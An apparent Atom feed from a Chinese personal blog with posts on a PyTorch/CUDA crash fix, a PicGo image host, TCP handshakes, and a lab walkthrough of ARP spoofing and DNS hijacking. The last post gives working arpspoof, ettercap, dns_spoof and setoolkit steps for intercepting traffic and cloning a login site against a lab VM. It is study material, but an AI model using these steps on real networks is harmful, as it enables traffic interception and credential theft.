<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Hackun</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://hackun.top/</id>
  <link href="https://hackun.top/" rel="alternate"/>
  <link href="https://hackun.top/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Hackun</rights>
  <subtitle>在谷底也要开花，在海底也要望月</subtitle>
  <title>无言の小屋</title>
  <updated>2026-05-09T05:41:27.337Z</updated>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="PyTorch" scheme="https://hackun.top/categories/PyTorch/"/>
    <category term="深度学习" scheme="https://hackun.top/categories/PyTorch/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/"/>
    <category term="PyTorch" scheme="https://hackun.top/tags/PyTorch/"/>
    <category term="深度学习" scheme="https://hackun.top/tags/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/"/>
    <content>
      <![CDATA[<h1 id="关于-pytorch-在调用-cuda-时卡退问题"><a class="markdownIt-Anchor" href="#关于-pytorch-在调用-cuda-时卡退问题"></a> 关于 PyTorch 在调用 CUDA 时卡退问题</h1><p>在学习Windows下深度学习环境配置时，我参考了李沐老师的视频：</p><p><a href="https://www.bilibili.com/video/BV18K411w7Vs/?vd_source=5206b95578400fb55000035a4474352b">Windows 下安装 CUDA 和 Pytorch 跑深度学习 - 动手学深度学习v2_哔哩哔哩_bilibili</a></p><p>在使用<code>Anaconda PowerShell Prompt</code>运行PyTorch调用CUDA时，出现了程序崩溃问题</p><h2 id="问题"><a class="markdownIt-Anchor" href="#问题"></a> 问题</h2><p>在python中运行以下代码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"></span><br><span class="line">a = torch.ones((<span class="number">3</span>,<span class="number">1</span>))</span><br><span class="line">a = a.cuda(<span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>程序会直接退出，没有报错信息</p><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260509131509167.png" alt="image-20260509131509058" /></p><p>经过排查，问题的主要原因是CUDA / torch / Python 版本不兼容</p><p>我当前安装的是：</p><table><thead><tr><th>软件</th><th>版本</th></tr></thead><tbody><tr><td>Python</td><td>3.13</td></tr><tr><td>CUDA Toolkit</td><td>13.2</td></tr><tr><td>PyTorch</td><td>最新版本</td></tr></tbody></table><p>而李沐老师视频中使用的是：</p><table><thead><tr><th>软件</th><th>版本</th></tr></thead><tbody><tr><td>Python</td><td>3.9</td></tr><tr><td>CUDA</td><td>11.8</td></tr></tbody></table><p>目前深度学习生态（尤其是 PyTorch、MONAI、mmcv 等框架）对 Python 3.13 的支持还不够稳定，因此在调用 CUDA 时容易出现以下问题：</p><ul><li>程序闪退</li><li>CUDA 初始化失败</li><li>DLL 冲突</li><li>无报错直接崩溃</li></ul><h2 id="解决方案"><a class="markdownIt-Anchor" href="#解决方案"></a> 解决方案</h2><p>鉴于如今深度学习主流使用的是python3.9，我们可以通过 Anaconda 创建一个新的 Python 3.9 环境来解决问题</p><h3 id="创建环境"><a class="markdownIt-Anchor" href="#创建环境"></a> 创建环境</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda create -n med python=3.9</span><br></pre></td></tr></table></figure><p>其中med是我们要新建的环境名（可自己设定）</p><h3 id="进入环境"><a class="markdownIt-Anchor" href="#进入环境"></a> 进入环境</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda activate med</span><br></pre></td></tr></table></figure><p>进入后终端前面会显示：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(med)</span><br></pre></td></tr></table></figure><p>说明已经成功进入该环境</p><h3 id="安装pytorchcuda-118-版本"><a class="markdownIt-Anchor" href="#安装pytorchcuda-118-版本"></a> 安装PyTorch（CUDA 11.8 版本）</h3><p>在新环境中执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118</span><br></pre></td></tr></table></figure><p>安装完成进行测试：</p><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260509132224062.png" alt="image-20260509132224022" /></p><p>这样就完成了软件的搭建</p><h2 id="常用conda命令"><a class="markdownIt-Anchor" href="#常用conda命令"></a> 常用conda命令</h2><h3 id="进入环境-2"><a class="markdownIt-Anchor" href="#进入环境-2"></a> 进入环境</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda activate med</span><br></pre></td></tr></table></figure><h3 id="查看所有环境"><a class="markdownIt-Anchor" href="#查看所有环境"></a> 查看所有环境</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda <span class="built_in">env</span> list</span><br></pre></td></tr></table></figure><h3 id="退出当前环境"><a class="markdownIt-Anchor" href="#退出当前环境"></a> 退出当前环境</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda deactivate</span><br></pre></td></tr></table></figure><h3 id="删除环境"><a class="markdownIt-Anchor" href="#删除环境"></a> 删除环境</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda remove -n med --all</span><br></pre></td></tr></table></figure><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>本次问题的本质是Python 3.13 与当前深度学习生态兼容性不足，导致 PyTorch 在调用 CUDA 时发生崩溃</p><p>通过创建 Python 3.9 独立环境，并安装<code>PyTorch</code> + <code>CUDA 11.8</code>，即可稳定运行深度学习相关代码</p>]]>
    </content>
    <id>https://hackun.top/2026/09/06/%E5%85%B3%E4%BA%8E-PyTorch-%E5%9C%A8%E8%B0%83%E7%94%A8-CUDA-%E6%97%B6%E5%8D%A1%E9%80%80%E9%97%AE%E9%A2%98/</id>
    <link href="https://hackun.top/2026/09/06/%E5%85%B3%E4%BA%8E-PyTorch-%E5%9C%A8%E8%B0%83%E7%94%A8-CUDA-%E6%97%B6%E5%8D%A1%E9%80%80%E9%97%AE%E9%A2%98/"/>
    <published>2026-09-06T01:24:37.446Z</published>
    <summary>
      <![CDATA[<h1 id="关于-pytorch-在调用-cuda-时卡退问题"><a class="markdownIt-Anchor" href="#关于-pytorch-在调用-cuda-时卡退问题"></a> 关于 PyTorch 在调用 CUDA 时卡退问题</h1>
<p>在学习]]>
    </summary>
    <title>关于 PyTorch 在调用 CUDA 时卡退问题</title>
    <updated>2026-05-09T05:41:27.337Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="图床" scheme="https://hackun.top/categories/%E5%9B%BE%E5%BA%8A/"/>
    <category term="图床" scheme="https://hackun.top/tags/%E5%9B%BE%E5%BA%8A/"/>
    <content>
      <![CDATA[<h1 id="picgogithub搭建个人图床"><a class="markdownIt-Anchor" href="#picgogithub搭建个人图床"></a> PicGo+GitHub搭建个人图床</h1><h2 id="github仓库设置"><a class="markdownIt-Anchor" href="#github仓库设置"></a> Github仓库设置</h2><h3 id="1创建仓库"><a class="markdownIt-Anchor" href="#1创建仓库"></a> 1.创建仓库</h3><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508191931710.png" alt="" /></p><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508194235276.png" alt="" /></p><p><strong><mark>注意：要设置为public！</mark></strong></p><h3 id="2创建token"><a class="markdownIt-Anchor" href="#2创建token"></a> 2.创建token</h3><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508194357957.png" alt="" /></p><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508194413115.png" alt="" /></p><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508194426545.png" alt="" /></p><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508194440850.png" alt="" /></p><p>然后生成一串字符 token</p><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508194552130.png" alt="" /></p><p><strong><mark>注意：这个token要立马复制下来保存！</mark></strong></p><h2 id="picgo客户端配置"><a class="markdownIt-Anchor" href="#picgo客户端配置"></a> PicGo客户端配置</h2><p><img src="https://raw.githubusercontent.com/Ikunmma/picture-picgo/main/20260508195540824.png" alt="" /></p><ul><li>Set Repo Name：即你的仓库名</li><li>Set Branch：默认 <code>master</code>，也可以选 <code>main</code></li><li>Set Token 就是刚刚复制的那一串字符</li></ul>]]>
    </content>
    <id>https://hackun.top/2026/05/08/PicGo+GitHub%E6%90%AD%E5%BB%BA%E4%B8%AA%E4%BA%BA%E5%9B%BE%E5%BA%8A/</id>
    <link href="https://hackun.top/2026/05/08/PicGo+GitHub%E6%90%AD%E5%BB%BA%E4%B8%AA%E4%BA%BA%E5%9B%BE%E5%BA%8A/"/>
    <published>2026-05-08T12:03:20.279Z</published>
    <summary>
      <![CDATA[<h1 id="picgogithub搭建个人图床"><a class="markdownIt-Anchor" href="#picgogithub搭建个人图床"></a> PicGo+GitHub搭建个人图床</h1>
<h2 id="github仓库设置"><a class=]]>
    </summary>
    <title>PicGo+GitHub搭建个人图床</title>
    <updated>2026-09-06T01:12:46.593Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="渗透测试" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <category term="渗透测试" scheme="https://hackun.top/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/tags/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <content>
      <![CDATA[<h1 id="tcp三次握手和状态跟踪"><a class="markdownIt-Anchor" href="#tcp三次握手和状态跟踪"></a> TCP三次握手和状态跟踪</h1><h2 id="什么是tcp协议"><a class="markdownIt-Anchor" href="#什么是tcp协议"></a> 什么是TCP协议？</h2><p>TCP全称为”传输控制协议（Transmission Control Protocol）“，是面向连接的传输层协议。应用程序在使用 TCP 协议之前，必须先建立 TCP 连接。在传送数据完毕后，必须释放已经建立的 TCP 连接，它是为了在不可靠的互联网上提供可靠的端到端字节流而专门设计的一个传输协议</p><h2 id="三次握手"><a class="markdownIt-Anchor" href="#三次握手"></a> 三次握手</h2><h3 id="原理"><a class="markdownIt-Anchor" href="#原理"></a> 原理</h3><p>刚开始客户端处于 closed 的状态，服务端处于 listen 状态。然后<br />1、第一次握手：客户端给服务端发一个 SYN 报文，并指明客户端的初始化序列号 ISN（c）。此时客户端处于 SYN_Send 状态。</p><p>2、第二次握手：服务器收到客户端的 SYN 报文之后，会以自己的 SYN 报文作为应答，并且也是指定了自己的初始化序列号 ISN(s)，同时会把客户端的 ISN + 1 作为 ACK 的值，表示自己已经收到了客户端的 SYN，此时服务器处于 SYN_REVD 的状态。</p><p>3、第三次握手：客户端收到 SYN 报文之后，会发送一个 ACK 报文，当然，也是一样把服务器的 ISN + 1 作为 ACK 的值，表示已经收到了服务端的 SYN 报文，此时客户端处于 establised 状态。</p><p>4、服务器收到 ACK 报文之后，也处于 establised 状态，此时，双方以建立起了链接。</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250903101216166.png" alt="" /></p><p>Ps:(1)SYN=1 表示该报文不携带数据，但消耗一个序号 seq=x，seq=x是客户端的初始化序列号，因为tcp是面向字节流的<br />(2)SYN=1 表示该报文不携带数据，但消耗一个序号 seq=y，seq=y是服务器的初始化序列号，ACK=1是一个确认号<br />ack=x+1，表示服务器下次接收到的序号希望是x+1。然后服务器进入到SYN-RCVD等待的状态<br />(3)ACK=1是一个确认号，seq=x+1是上一次服务器回应的序号要求，ack=y+1表示客户下一次接收到的序号希望是y+1</p><h3 id="几个问题"><a class="markdownIt-Anchor" href="#几个问题"></a> 几个问题</h3><h4 id="三次握手的作用"><a class="markdownIt-Anchor" href="#三次握手的作用"></a> 三次握手的作用</h4><ol><li>确认双方的接受能力、发送能力是否正常。</li><li>指定自己的初始化序列号，为后面的可靠传送做准备。</li><li>如果是 https 协议的话，三次握手这个过程，还会进行数字证书的验证以及加密密钥的生成</li></ol><h4 id="isn是固定的吗"><a class="markdownIt-Anchor" href="#isn是固定的吗"></a> （ISN）是固定的吗？</h4><p>三次握手的一个重要功能是客户端和服务端交换ISN(Initial Sequence Number), 以便让对方知道接下来接收数据的时候如何按序列号组装数据。</p><p>如果ISN是固定的，攻击者很容易猜出后续的确认号，因此 ISN 是动态生成的。</p><h4 id="什么是半连接队列"><a class="markdownIt-Anchor" href="#什么是半连接队列"></a> 什么是半连接队列</h4><p>服务器第一次收到客户端的 SYN 之后，就会处于 SYN_RCVD 状态，此时双方还没有完全建立其连接，服务器会把此种状态下请求连接放在一个队列里，我们把这种队列称之为半连接队列。当然还有一个全连接队列，就是已经完成三次握手，建立起连接的就会放在全连接队列中。如果队列满了就有可能会出现丢包现象。</p><p>这里在补充一点关于SYN-ACK 重传次数的问题：　服务器发送完SYN－ACK包，如果未收到客户确认包，服务器进行首次重传，等待一段时间仍未收到客户确认包，进行第二次重传，如果重传次数超 过系统规定的最大重传次数，系统将该连接信息从半连接队列中删除。注意，每次重传等待的时间不一定相同，一般会是指数增长，例如间隔时间为 1s, 2s, 4s, 8s, …</p><h4 id="三次握手过程中可以携带数据吗"><a class="markdownIt-Anchor" href="#三次握手过程中可以携带数据吗"></a> 三次握手过程中可以携带数据吗</h4><p>第一次、第二次握手不可以携带数据，而第三次握手是可以携带数据的</p><p>假如第一次握手可以携带数据的话，如果有人要恶意攻击服务器，那他每次都在第一次握手中的 SYN 报文中放入大量的数据，因为攻击者根本就不理服务器的接收、发送能力是否正常，然后疯狂着重复发 SYN 报文的话，这会让服务器花费很多时间、内存空间来接收这些报文。也就是说，第一次握手可以放数据的话，其中一个简单的原因就是会让服务器更加容易受到攻击了。<br />而对于第三次的话，此时客户端已经处于 established 状态，也就是说，对于客户端来说，他已经建立起连接了，并且也已经知道服务器的接收、发送能力是正常的了，所以能携带数据页没啥毛病。</p><h4 id="为什么要进行三次握手"><a class="markdownIt-Anchor" href="#为什么要进行三次握手"></a> 为什么要进行三次握手？</h4><p>当进行第一次握手，网络不好可能会堵塞，所以连接的请求并没有到达服务器端；<br />但是tcp连接有超时重传的机制，所以再一次发送请求，这时候服务器端接收到了你的请求，他也会返回一个请求给你，这是第二次握手；<br />但是这时候网络环境突然又好了起来，那个堵塞的请求到达了服务器端，服务器端又给你回了一个请求，但是你又不想给服务器发送请求，这时候服务器的资源会进行占用等待你的请求，为了不使服务器的资源继续占用，你又必须发送一个请求给服务器；<br />所以要进行3次握手</p><h2 id="四次挥手"><a class="markdownIt-Anchor" href="#四次挥手"></a> 四次挥手</h2><p>1、第一次挥手：客户端发送一个 FIN 报文，报文中会指定一个序列号。此时客户端处于FIN_WAIT1状态。</p><p>2、第二次握手：服务端收到 FIN 之后，会发送 ACK 报文，且把客户端的序列号值 + 1 作为 ACK 报文的序列号值，表明已经收到客户端的报文了，此时服务端处于 CLOSE_WAIT状态。</p><p>3、第三次挥手：如果服务端也想断开连接了，和客户端的第一次挥手一样，发给 FIN 报文，且指定一个序列号。此时服务端处于 LAST_ACK 的状态。</p><p>4、第四次挥手：客户端收到 FIN 之后，一样发送一个 ACK 报文作为应答，且把服务端的序列号值 + 1 作为自己 ACK 报文的序列号值，此时客户端处于 TIME_WAIT 状态。需要过一阵子以确保服务端收到自己的 ACK 报文之后才会进入 CLOSED 状态</p><p>5、服务端收到 ACK 报文之后，就处于关闭连接了，处于 CLOSED 状态。</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250903101216325.png" alt="在这里插入图片描述" /></p><p>为什么客户端发送 ACK 之后不直接关闭，而是要等一阵子才关闭？</p><p>要确保服务器是否已经收到了我们的 ACK 报文，如果没有收到的话，服务器会重新发 FIN 报文给客户端，客户端再次收到 ACK 报文之后，就知道之前的 ACK 报文丢失了，然后再次发送 ACK 报文。<br />至于 TIME_WAIT 持续的时间至少是一个报文的来回时间。一般会设置一个计时，如果过了这个计时没有再次收到 FIN 报文，则代表对方成功就是 ACK 报文，此时处于 CLOSED 状态。</p><blockquote><p>参考：</p><p><a href="https://www.cnblogs.com/zzjdbk/p/13028290.html">三次握手和四次挥手（面试必问）</a></p><p><a href="https://blog.csdn.net/weixin_45304503/article/details/142427461">图解 TCP 四次挥手</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/09/10/TCP%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B%E5%92%8C%E7%8A%B6%E6%80%81%E8%B7%9F%E8%B8%AA/</id>
    <link href="https://hackun.top/2025/09/10/TCP%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B%E5%92%8C%E7%8A%B6%E6%80%81%E8%B7%9F%E8%B8%AA/"/>
    <published>2025-09-10T07:46:31.436Z</published>
    <summary>
      <![CDATA[<h1 id="tcp三次握手和状态跟踪"><a class="markdownIt-Anchor" href="#tcp三次握手和状态跟踪"></a> TCP三次握手和状态跟踪</h1>
<h2 id="什么是tcp协议"><a class="markdownIt-Anchor]]>
    </summary>
    <title>TCP三次握手和状态跟踪</title>
    <updated>2025-09-10T07:40:10.105Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="渗透测试" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <category term="渗透测试" scheme="https://hackun.top/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/tags/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <content>
      <![CDATA[<h1 id="arp欺骗和dns劫持实验"><a class="markdownIt-Anchor" href="#arp欺骗和dns劫持实验"></a> ARP欺骗和DNS劫持实验</h1><h2 id="原理"><a class="markdownIt-Anchor" href="#原理"></a> 原理</h2><p>ARP (Address Resolution Protocol，地址解析协议)，其作用是把<mark>IP地址转化成MAC地址</mark></p><p>在以太网中，一个主机要和另一个主机进行直接通信，必须要知道目标主机的MAC地址。这个目标主机的MAC地址就是通过地址解析协议ARP获得的</p><blockquote><p>举个栗子：</p><p>1.你的电脑要访问 <code>192.168.1.5</code>，但不知道它的 MAC 地址</p><p>2.你的电脑会广播一个ARP请求：谁是 <code>192.168.1.5</code>？请告诉我你的 MAC 地址</p><p>3.局域网内所有主机都收到请求，但只有 <code>192.168.1.5</code> 回答：我是 <code>192.168.1.5</code>，我的 MAC 地址是 <code>XX:XX:XX:XX:XX:XX</code></p><p>4.你的电脑就把这个映射关系保存到 <strong>ARP 缓存表</strong>（IP ↔ MAC）</p><p>以后再通信时，直接查缓存表，不需要重复请求</p></blockquote><p>ARP协议特点：</p><ul><li><strong>无认证机制</strong>：只要有人应答，主机就会相信</li><li><strong>基于广播</strong>：ARP 请求是广播帧，局域网内所有设备都能听到</li><li><strong>有缓存</strong>：缓存有一定的生存时间（Linux/Windows 下通常几分钟）</li></ul><p><mark>正是因为ARP无验证，攻击者可以伪造 ARP 响应，从而实施<strong>ARP 欺骗 → 中间人攻击 → DNS 劫持</strong></mark></p><p><mark>ARP 欺骗的原理就是 <strong>伪造 ARP 响应，篡改目标主机的 ARP 缓存，使其把攻击机的 MAC 地址当作网关的 MAC，从而把流量导向攻击机</strong></mark></p><blockquote><p>正常通信：<br />靶机 → (网关 MAC) → 网关</p><p>ARP 欺骗后：<br />靶机 → (攻击机 MAC) → 攻击机 → 网关</p></blockquote><h2 id="实验"><a class="markdownIt-Anchor" href="#实验"></a> 实验</h2><p>攻击主机：kali2023虚拟机，IP为<code>192.168.37.128</code></p><p>靶机：Windows10虚拟机，IP为<code>192.168.37.131</code></p><p>网关地址：<code>192.168.37.2</code></p><h3 id="arp单向欺骗"><a class="markdownIt-Anchor" href="#arp单向欺骗"></a> ARP单向欺骗</h3><p>攻击者只向目标主机发送伪造的ARP响应包，将目标主机的IP地址和MAC地址对应关系改为自己的MAC地址。这样，目标主机就会将网络流量发送到攻击者的MAC地址，攻击者就能够获取到网络流量</p><p>用nmap命令查看当前网段的活跃主机，发现了靶机<code>192.168.37.131</code></p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910093621023.png" alt="image-20250910093620863" /></p><blockquote><p>解释<code>nmap -sn 192.168.37.0/24</code></p><p><code>nmap -sn</code>用于探测主机是否存活，不做端口扫描</p><p><code>192.168.37.0/24</code>表示要扫描的网段</p><ul><li><code>/24</code> = 子网掩码 <code>255.255.255.0</code></li><li>表示扫描 <strong>192.168.37.1 ~ 192.168.37.254</strong> 这 254 台可能的主机</li></ul></blockquote><p>Win10主机ping百度，发现ping得通能上网</p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910100920080.png" alt="image-20250910100920027" style="zoom:200%;" /><p>先查看一下靶机正常的IP地址和MAC地址对应表，在命令行下输入<code>arp-a</code></p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910101526485.png" alt="image-20250910101526449" style="zoom:200%;" /><p>网关<code>192.168.37.2</code>和攻击机<code>192.168.37.128</code>的MAC地址不一样</p><p>使用arpspoof命令进行arp欺骗</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arpspoof  -i eth0 -t &lt;靶机IP&gt; &lt;网关IP&gt;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910101949138.png" alt="image-20250910101949082" /></p><p>再次查看arp表，发现靶机和网关IP的MAC地址一样，欺骗成功</p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910102322309.png" alt="image-20250910102322272" style="zoom:200%;" /><p>再次ping百度发现已经ping不通了，靶机已经断网</p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910102854496.png" alt="image-20250910102854461" style="zoom:200%;" /><blockquote><p>为啥单向欺骗时会断网？<br />单向 ARP 欺骗的本质就是：把靶机的 ARP 表“毒化”，以为“网关 = 攻击机”，让它找不到真正的网关，结果靶机发出去的包全进了攻击机的“黑洞”，没转发 → 通信中断 → 相当于 DoS 攻击</p></blockquote><h3 id="arp双向欺骗"><a class="markdownIt-Anchor" href="#arp双向欺骗"></a> ARP双向欺骗</h3><p>攻击者不仅向目标发送伪造的ARP响应包，还向网关发送伪造的ARP请求包，将网关的IP地址和MAC地址对应关系改为攻击者的MAC地址。这样，目标将网络流量发送到攻击者的MAC地址，攻击者将网络流量转发到网关，实现中间人攻击</p><p>首先开启kali的IP转发功能，保证流量正常转发，不让靶机断网</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 1 &gt; /proc/sys/net/ipv4/ip_forward</span><br></pre></td></tr></table></figure><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910110830707.png" style="zoom:200%;" /><p>使用arpspoof进行双向欺骗</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arpspoof -i eth0 -t &lt;靶机IP&gt; -r &lt;网关IP&gt;</span><br></pre></td></tr></table></figure><p>这个时候win10可以进行联网，在win10主机中访问网站<code>http://nm.people.com.cn/</code>（需要使用http协议，信息在http协议中通常以明文形式传输，便于验证）在网站访问图片</p><p>使用drifnet来进行图片抓取，在kali上就能实时显示被攻击主机访问的图片</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910112155133.png" alt="image-20250910112155053" /></p><p>也可以使用ettercap工具进行ARP双向欺骗</p><p>输入<code>ettercap -G</code>命令打开Ettercap工具，选择网卡eth0然后点击√进入工具</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910112352366.png" alt="image-20250910112352316" /></p><p>点击右上角三个点然后点击Hosts然后点击Scan for host，待扫描完成后点击Host list，可以看到四个主机，第二个是网关，第三个是windows10</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910112513540.png" alt="image-20250910112513469" /></p><p>选择攻击目标，点击windows10的ip地址，然后点击Add to Target 1 ，让其作为目标1，然后选择网关的ip地址，点击Add to Target 2，让其作为目标2</p><p>明确目标攻击方式：点击Mitm -&gt; arp poisoning -&gt; Sniff remote connections -&gt; 确定</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910112625743.png" alt="image-20250910112625698" /></p><p>工具就会抓取win10的数据包和网关的数据包，点击View–Connections可以看到所有截获的包</p><h3 id="dns劫持"><a class="markdownIt-Anchor" href="#dns劫持"></a> DNS劫持</h3><p>本次实验要劫持的网站为批改网，网站为<code>http://www.pigai.org</code></p><p>靶机ping批改网</p><p>编辑etter.dns文件，输入命令<code>vi /etc/ettercap/etter.dns</code>，在结尾添加</p><p><code>www.pigai.org A 192.168.37.128</code></p><p>在Ettercap工具下把win10当做目标1</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910141620654.png" alt="image-20250910141620589" /></p><p>Ettercap Menu—&gt;Plugins—&gt;Manage Plugins，双击dns_spoof。下方显示框会显示dns_spoof插件已经启动，同时Plugin列表中dns_spoof左边会有一个*，表示插件被激活</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910141719428.png" alt="image-20250910141719382" /></p><p>此时靶机继续ping批改网，发现IP已经变成攻击机的IP</p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910141941355.png" alt="image-20250910141941315" style="zoom:200%;" /><p>在Ettercap的显示框中会有dns消息提示，如下图所示。可以看到靶机实际ping的是攻击者的主机</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910142232129.png" alt="image-20250910142232068" /></p><p>此时靶机上访问批改网，因为进行了dns欺骗，所以靶机每次访问<code>www.pigai.org</code>时把该域名的IP地址解析为<code>192.168.37.128</code>，所以靶机访问批改网等于访问<code>192.168.37.128:80</code>，也就是说只要靶机访问批改网都会跳到<code>192.168.37.128:80</code>，在靶机上登录批改网，DNS回显用户名和哈希加密后的密码</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250910145900509.png" alt="" /></p><p>为了让靶机相信这是真的批改网，使用kali的setoolkit工具设置<code>192.168.37.128:80</code>网站，可以克隆批改网到<code>192.168.37.128:80</code></p><p>输入命令<code>setoolkit</code>命令，会跳出选择选项，选择1、2、3、2</p><p>在<code>set:webattacks</code>输入克隆的网站<code>http://www.pigai.org</code>，即批改网的网站</p><p>靶机访问批改网网站，成功访问，但是这个并不是真正的批改网，而是攻击主机创建的钓鱼网站，是攻击主机克隆批改网出来的，所以与批改网页面一样，用户以为是真的，然后输入用户名和密码进行登录</p><p>在攻击机上就可以抓取信息</p><p>注：后面这个批改网改为https，所以用set复现不了</p><blockquote><p>参考：</p><p><a href="https://blog.csdn.net/m0_62574258/article/details/136272844">网络攻防之ARP欺骗和DNS劫持实验</a></p><p><a href="https://blog.csdn.net/xuehan5205/article/details/149662075?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-149662075-blog-136272844.235%5Ev43%5Epc_blog_bottom_relevance_base8&amp;spm=1001.2101.3001.4242.1&amp;utm_relevant_index=4">kali [DNS劫持] 实验（详细步骤）</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/09/10/ARP%E6%AC%BA%E9%AA%97%E5%92%8CDNS%E5%8A%AB%E6%8C%81%E5%AE%9E%E9%AA%8C/</id>
    <link href="https://hackun.top/2025/09/10/ARP%E6%AC%BA%E9%AA%97%E5%92%8CDNS%E5%8A%AB%E6%8C%81%E5%AE%9E%E9%AA%8C/"/>
    <published>2025-09-10T07:46:31.434Z</published>
    <summary>
      <![CDATA[<h1 id="arp欺骗和dns劫持实验"><a class="markdownIt-Anchor" href="#arp欺骗和dns劫持实验"></a> ARP欺骗和DNS劫持实验</h1>
<h2 id="原理"><a class="markdownIt-Anchor" h]]>
    </summary>
    <title>ARP欺骗和DNS劫持实验</title>
    <updated>2025-09-11T04:41:20.346Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="渗透测试" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <category term="渗透测试" scheme="https://hackun.top/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="网络基础" scheme="https://hackun.top/tags/%E7%BD%91%E7%BB%9C%E5%9F%BA%E7%A1%80/"/>
    <content>
